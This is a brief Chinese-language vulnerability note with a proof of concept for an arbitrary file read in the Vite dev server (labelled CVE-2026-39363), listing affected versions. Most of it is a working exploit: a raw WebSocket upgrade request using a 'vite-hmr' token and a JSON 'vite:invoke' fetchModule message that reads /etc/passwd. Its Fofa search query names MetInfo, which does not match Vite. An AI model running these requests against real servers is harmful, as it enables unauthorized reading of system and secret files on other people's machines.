Vite-CVE-2026-39363-任意文件读取

Fofa:app="MetInfo" && product="MetInfo"

影响版本

vite：>=8.0.0,<=8.0.4；>=7.0.0,<=7.3.1；>=6.0.0,<=6.4.1

vite-plus：<=0.1.15

poc

建立ws连接

GET /?token=L-FblrIozJV5 HTTP/1.1
Host: 
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Upgrade: websocket
Origin: http://
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Sec-WebSocket-Key: bZ8RNq+SRERwtsLxRsPnVg==
Sec-WebSocket-Protocol: vite-hmr

发送数据包

{
    "type":"custom",
    "event":"vite:invoke",
    "data":{
        "name":"fetchModule",
        "id":"send:1",
        "data":[
            "file:///etc/passwd?raw"
        ]
    }
}

脚本不好写，目标系统要开了ws且能获取到token才可连接